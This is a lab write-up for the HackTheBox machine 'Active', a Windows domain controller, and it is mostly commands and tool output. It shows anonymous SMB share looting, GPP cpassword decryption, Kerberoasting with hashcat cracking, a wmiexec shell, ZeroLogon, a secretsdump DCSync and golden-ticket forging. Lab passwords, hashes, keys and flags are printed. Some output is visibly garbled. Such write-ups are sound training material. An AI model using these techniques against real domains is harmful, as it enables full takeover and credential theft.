HackTheBox Writeup - Active

```
#hackthebox #nmap #windows #active-directory #crackmapexec #enum4linux #smbclient #gpp-credential #gpp-decrypt #kerberoast #hashcat #impacket #zero-logon #CVE-2020-1472 #dcsync #golden-ticket #pass-the-ticket #oscp-like
```

Recon

CrackMapExec

```
r—(kali⊕kali)-[~/htb/Active]
└$ cme smb 10.10.100 -u '' -p '' -M zerologon
SMB
           10.10.10.100
                                                    [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True)
                         445
                                  DC
(SMBv1:False)
SMB
           10.10.10.100
                           445
                                  DC
                                                   [+] active.htb\:
                                                   [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
SMB
           10.10.10.100
                           445
                                  DC
ZEROLOGO... 10.10.10.100
                                                   VULNERABLE
                           445
                                  DC
ZEROLOGO... 10.10.10.100
                                                   Next step: https://github.com/dirkjanm/CVE-2020-1472
                           445
                                  DC
```

Add to hosts

```
echo '10.10.100 active.htb dc.active.htb' | sudo tee -a /etc/hosts
```

Nmap

```
# Nmap 7.94 scan initiated Thu Jul 20 22:38:55 2023 as: nmap -sVC -p- -T4 -Pn -vv -oA Active 10.10.10.100

Nmap scan report for 10.10.10.100

Host is up, received user-set (0.059s latency).

Scanned at 2023-07-20 22:38:55 CST for 141s

Not shown: 65512 closed tcp ports (reset)
```

```
PORT
          STATE SERVICE
                             REASON
                                             VERSION
                             syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
53/tcp
          open domain
dns-nsid:
bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
          open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2023-07-20 14:40:15Z)
88/tcp
135/tcp
                             syn-ack ttl 127 Microsoft Windows RPC
          open msrpc
         open netbios-ssn
                             syn-ack ttl 127 Microsoft Windows netbios-ssn
139/tcp
                             syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-
389/tcp
         open ldap
Site-Name)
         open microsoft-ds? syn-ack ttl 127
445/tcp
464/tcp
          open kpasswd5?
                             svn-ack ttl 127
593/tcp
          open ncacn http
                             syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp
          open tcpwrapped
                             syn-ack ttl 127
3268/tcp open ldap
                             syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-
Site-Name)
3269/tcp open tcpwrapped
                             svn-ack ttl 127
5722/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
9389/tcp open mc-nmf
                             syn-ack ttl 127 .NET Message Framing
47001/tcp open http
                             syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
http-server-header: Microsoft-HTTPAPI/2.0
http-title: Not Found
49152/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
                             syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49157/tcp open ncacn http
49158/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
                             syn-ack ttl 127 Microsoft Windows RPC
49165/tcp open msrpc
49170/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
49171/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows server 2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
 smb2-security-mode:
    2:1:0:
```

```
__ Message signing enabled and required
| smb2-time:
| date: 2023-07-20T14:41:10
|_ start_date: 2023-07-20T05:54:44
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 40109/tcp): CLEAN (Couldn't connect)
| Check 2 (port 31962/tcp): CLEAN (Couldn't connect)
| Check 3 (port 38631/udp): CLEAN (Timeout)
| Check 4 (port 61510/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 3s
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 20 22:41:16 2023 -- 1 IP address (1 host up) scanned in 141.16 seconds
```

Enum4linux

```
enum4linux -a active.htb|tee enum4linux.txt
```

Shares

```
[+] Attempting to map shares on active.htb

//active.htb/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A

//active.htb/C$ Mapping: DENIED Listing: N/A Writing: N/A

//active.htb/IPC$ Mapping: OK Listing: DENIED Writing: N/A

//active.htb/NETLOGON Mapping: DENIED Listing: N/A Writing: N/A

//active.htb/Replication Mapping: OK Listing: OK Writing: N/A

//active.htb/SYSVOL Mapping: DENIED Listing: N/A Writing: N/A

//active.htb/Users Mapping: DENIED Listing: N/A Writing: N/A
```

Users

No permisions

```
r—(kali⊕kali)-[~/htb/Active]
└$ cme smb active.htb -u '' -p '' --users --rid-brute
            active.hth
                           445
                                                   [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True)
SMB
                                  DC
(SMBv1:False)
                                                   [+] active.htb\:
SMB
            active.hth
                           445
                                  DC
            active.hth
                                                   [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
SMB
                         445
                                  DC
            active.htb
                                                   [*] Trying to dump local users with SAMRPC protocol
SMB
                         445
                                  DC
                                                   [-] Error creating DCERPC connection: SMB SessionError:
SMB
            active.htb
                           445
                                  DC
STATUS ACCESS DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
```

User Flag

Dump SMB Share

```
r—(kali⊕kali)-[~/htb/Active]
└$ smbclient //active.htb/Replication -U "%"
Try "help" to get a list of possible commands.
smb: \> ls
                                              0 Sat Jul 21 18:37:44 2018
                                     D
                                              0 Sat Jul 21 18:37:44 2018
  active.htb
                                     D
                                               0 Sat Jul 21 18:37:44 2018
                5217023 blocks of size 4096, 278230 blocks available
smb: \> cd active.htb\
smb: \active.htb\> ls
                                              0 Sat Jul 21 18:37:44 2018
                                              0 Sat Jul 21 18:37:44 2018
  DfsrPrivate
                                    DHS
                                              0 Sat Jul 21 18:37:44 2018
  Policies
                                     D
                                              0 Sat Jul 21 18:37:44 2018
  scripts
                                     D
                                               0 Thu Jul 19 02:48:57 2018
```

Dump the share folder

```
(kali@kali)-[~/htb/Active]

$ mkdir loot&&cd loot

(kali@kali)-[~/htb/Active/loot]

$ smbget -a -R smb://active.htb/Replication

Using workgroup WORKGROUP, guest user

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows

NT/SecEdit/GptTmpl.inf

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol

smb://active.htb/Replication/active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/GPT.INI

smb://active.htb/Replication/active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows

NT/SecEdit/GptTmpl.inf

Downloaded 8.11kB in 8 seconds
```

Find Sensitive Data

Find secrets and credentials

```
cd active.htb
grep -rin "pass"
```

```
(kali⊗kali)-[~/htb/Active/loot/active.htb]
$ grep -rin "pass"
Policies/{31825E937-EB16-4b4c-9934-544FC6D24D26}">< User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">< Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
```

```
What is cpassword?
```

GPP(Group Policy Preferences) Credentials

Ref - https://infosecwriteups.com/attacking-gpp-group-policy-preferences-credentials-active-directory-pentesting-16d9a65fa01a

Decrypt GPP(Group Policy Preferences) Credentials

```
├──(kali®kali)-[~/htb/Active/loot]
└─$ gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
GPPstillStandingStrong2k18
```

Validate credentials

```
r—(kali⊕kali)-[~/htb/Active]
└$ cme smb active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
                                                [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True)
           active.htb
                      445
SMB
                                DC
(SMBv1:False)
           active.htb 445
                                         [+] active.htb\SVC TGS:GPPstillStandingStrong2k18
SMB
                                DC
                                                [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
          active.htb
SMB
                       445
                                DC
```

Get user flag from smb share

```
r—(kali⊕kali)-[~/htb/Active]
└─$ cme smb active.htb -u 'SVC TGS' -p 'GPPstillStandingStrong2k18' --shares
                                                  [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True)
           active.htb
                           445
SMB
                                 DC
(SMBv1:False)
SMB
           active.htb
                          445
                                  DC
                                                  [+] active.htb\SVC TGS:GPPstillStandingStrong2k18
                                                  Node SVC TGS@ACTIVE.HTB successfully set as owned in BloodHound
          active.htb
SMB
                        445
                                  DC
                                                  [*] Enumerated shares
SMB
         active.htb
                        445
                                  DC
          active.htb
                        445
                                                  Share
                                                                  Permissions
                                  DC
                                                                                 Remark
           active.htb
                         445
SMB
                                  DC
```

```
SMB
            active.htb
                                    DC
                                                     ADMIN$
                                                                                      Remote Admin
                            445
SMB
            active.htb
                                    DC
                                                     C$
                                                                                      Default share
                            445
SMB
            active.hth
                            445
                                    DC
                                                     IPC$
                                                                                      Remote IPC
            active.htb
SMB
                            445
                                    DC
                                                     NETLOGON
                                                                      READ
                                                                                      Logon server share
            active.htb
                                                     Replication
SMB
                            445
                                                                      READ
                                    DC
SMB
            active.hth
                                                     SYSVOL
                                                                      READ
                                                                                      Logon server share
                            445
                                    DC
SMB
            active.htb
                            445
                                    DC
                                                     Users
                                                                      READ
```

```
[--(kali@kali)-[~/htb/Active/loot]
└$ smbclient //active.htb/Users -U "SVC TGS%GPPstillStandingStrong2k18"
Try "help" to get a list of possible commands.
smb: \> ls
                                    DR
                                              0 Sat Jul 21 22:39:20 2018
                                              0 Sat Jul 21 22:39:20 2018
                                    DR
  Administrator
                                     D
                                              0 Mon Jul 16 18:14:21 2018
  All Users
                                              0 Tue Jul 14 13:06:44 2009
                                 DHSrn
  Default
                                   DHR
                                              0 Tue Jul 14 14:38:21 2009
  Default User
                                 DHSrn
                                              0 Tue Jul 14 13:06:44 2009
  desktop.ini
                                   AHS
                                            174 Tue Jul 14 12:57:55 2009
                                              0 Tue Jul 14 12:57:55 2009
  Public
                                    DR
  SVC TGS
                                     D
                                              0 Sat Jul 21 23:16:32 2018
               5217023 blocks of size 4096. 284615 blocks available
smb: \> get SVC TGS\Desktop\user.txt
getting file \SVC TGS\Desktop\user.txt of size 34 as SVC TGS\Desktop\user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> ^C
r—(kali⊕kali)-[~/htb/Active/loot]
_$ cat SVC TGS\\Desktop\\user.txt
2a6c4b58ab401fb03c1b530947e5580e
```

Root Flag

Kerberoasting

```
| Cache file is not found. Skipping... | Cache file is n
```

hashcat kerberoastables.txt /opt/wordlists/rockyou.txt

Result:

\$krb5tgs\$23**Administrator\$ACTIVE.HTB\$active.htb/Administrator*\$3c4a3acd2523ac2a0173c0753f1679d1\$ec0107fb8e33c6718dfb87628e931779e
605fb4f46db72afc9a39dbeb18627792f90518f612ec6f494cadbba55204e9d767de02a31afbf8d2cca40dc5189c966490a94acd19a7ee14c803e2b8b0dfd8443e
e19499dbe6da176f507cdced931338b020c5c6959e041c2f0df3e8218d4c434bd66c39bbbec4e43723eb3edefd14ee0c2d984b2bd090fcfc396641efd6215d8063
d2dffcd03ad62481c22eaaab3d289b729827824095434cbce2b8e1614b1d6c0b164c0554716f1bb0e15c274baae861df82c1446649c3c01293051740e2231a002f
b61d50dfcbb6b026f23648b34f6c1e97e0357f4d7913406f6e10a182e1ffb3d95c9cbd464b8d25459382d85f614ff0f7781003a6aff56870e1f08245cef79f2e66
43aa53c63a40f0d261b6f892cd9b1a90a40fdd9f5abadbeda8ae44e339be5471a421652f500cad7061cb4abbc4c566b97003be64fe61f15b57efe2f72460b7f135
546e46894cd63f7c27b2e52730e64a727880d818a018023db6bd0869a1d742c7928e3d16197f670f2fff9b8c5b69037efa255ece4696a448b537209db83d23dff7
b4bf70493de74d499a259ca0bef12d10ae9163993f8605abf18829a0821c29e2575ae7bc57e371cb5d12712f4f880d4a53e32b7e834552ead3640c1e6177134360
3ffc067ff39b7735b8b71c5b2915be32c9e951932223754fec2d50c6cfa2f06c5003132a119e6524cd4e61316adf544c8450d5fea29ea0389b1b10b9c0f0a04bd1
7d61f26d072ddae023e9b7f78358efd6051a59737d6f6086ff5c5f2bc26f9be427ad25f10e954c4a7bcd77fe8b759f5fbc3ff6db87fad7ef7366ebed61b569ce85
ea8654fa550da0170f1e7354752c4888d67b59ffb3862d833bebcd50a4547064d46b84614e1e4e8c8d215033229cc830654be535f3990546c272b91dddb69c193a
4b0df288f0dd778e59a7b97ba3d37abdbd8f1da02ac54c90c64a44b85b357f7fc100d73525e74f635119492287ccf1a349f522fb19fffac9b87d1797f3702659c5
34b73336f286a06b886ca71ac3a5aadf03adde6305dedf7b20a8c5cfe113d6da33f944e7c813c485c8586190ca8e2b04ff70163fd2821294cb9dfc47fceb1f9d36

b2ef950639a1b1bc6adf6913f9b4ff79ca1161933b8d771aa0bf57ae103e2a5f6c8c8011befc8f8034df55ec9f412bb453fc740fdf6c65648a5d4dc54fa30e6038 7565c23e14272483e8931dca36c0ac9684640a5bafbb9564aeceb9d40:Ticketmaster1968

Access the machine

```
(kali%kali)-[~/htb/Active]

$\square\text{ wmiexec.py Administrator:Ticketmaster1968@dc.active.htb -shell-type powershell}

Impacket v0.10.1.dev1+20230718.100545.fdbd256 - Copyright 2022 Fortra

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> cat $env:userprofile\Desktop\root.txt
ad33fe899c894a9a420e1e543531d8a5
```

Additional

Zero Logon

Run exploit

Dump ntds

```
secretsdump.py htb.local/'DC$'@10.10.100 -no-pass -just-dc -outputfile ~/htb/Active/zerologon_secretsdump.txt
```

Sync time with domain controller

Reset machine's password to fix kerberos authentication after the exploit

Craft golden ticket

```
[*] Brute forcing SIDs at 10.10.10.100
[*] StringBinding ncacn_np:10.10.10.100[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-405608879-3187717380-1996298813
```

ticketer.py -aesKey cd80d318efb2f8752767cd619731b6705cf59df462900fb37310b662c9cf51e9 -domain-sid S-1-5-21-405608879-3187717380-1996298813 -domain active.htb Administrator

Pass the ticket

```
r—(kali⊕kali)-[~/htb/Active]
r—(kali⊕kali)-[~/htb/Active]
Impacket v0.10.1.dev1+20230718.100545.fdbd256 - Copyright 2022 Fortra
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> cd Users
PS C:\Users> ls
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec
   Directory: C:\Users
Mode
                 LastWriteTime
                                Length Name
           16/7/2018 1:14 4
                                       Administrator
d----
           14/7/2009 7:57 4
d-r--
                                        Public
```

```
PS C:\Users> cat Administrator\Desktop\root.txt
a5176dfd52de12647e9b8080a5587cff

PS C:\Users> cat SVC_TGS\Desktop\user.txt
d0246e17e65cd946d42a2ced108ed122
```

Spider Smb Share and find sensitive data

```
manspider dc.active.htb -f passw user admin account network login logon cred -d active.htb -u '' -p ''
```

```
(kali@kali)-[~/htb/Active]
-$ manspider dc.active.htb -f passw user admin account network login logon cred -d active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
[+] MANSPIDER command executed: /home/kali/.local/bin/manspider dc.active.htb -f passw user admin account network login logon cred -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] Skipping files larger than 10.00MB
   Using 5 threads
[+] Searching by filename: ".*passw.*", ".*user.*", ".*admin.*", ".*account.*", ".*network.*", ".*login.*", ".*logon.*", <u>"</u>.*cred.*"
   Matching files will be downloaded to /home/kali/.manspider/loot
[+] dc.active.htb: Successful login as "SVC_TGS"
   dc.active.htb: Successful login as "SVC_TGS"
   dc.active.htb: Users\Default\NTUSER.DAT (256.00KB)
[+] dc.active.htb: Users\Default\NTUSER.DAT.LOG (1.00KB)
[+] dc.active.htb: Users\Default\NTUSER.DAT.LOG1 (93.00KB)
   dc.active.htb: Users\Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf (64.00KB)
   dc.active.htb: Users\Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer000000000000000000001.regtrans-ms (512.00KB)
   dc.active.htb: Users\Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer0000000000000000000002.regtrans-ms (512.00KB)
   dc.active.htb: Users\SVC_TGS\Desktop\user.txt (34B)
[+] Finished spidering dc.active.htb
```

Ldapdomaindump

Idapdomaindump is so much faster than enum4linux

```
ldapdomaindump -o ldap_dump -r active.htb -u active.htb\\SVC_TGS -p 'GPPstillStandingStrong2k18'
```

Directory listing for /

- · domain computers.grep
- · domain computers.html
- · domain computers.json
- · domain computers by os.html
- domain_groups.grep
- · domain_groups.html
- domain groups.json
- domain_policy.grep
- · domain_policy.html
- · domain_policy.json
- domain trusts.grep
- · domain trusts.html
- · domain trusts.json
- domain_users.grep
- · domain users.html
- domain_users.json
- · domain users by group.html

Bloodhound Find Kerberoastables

Simply one click





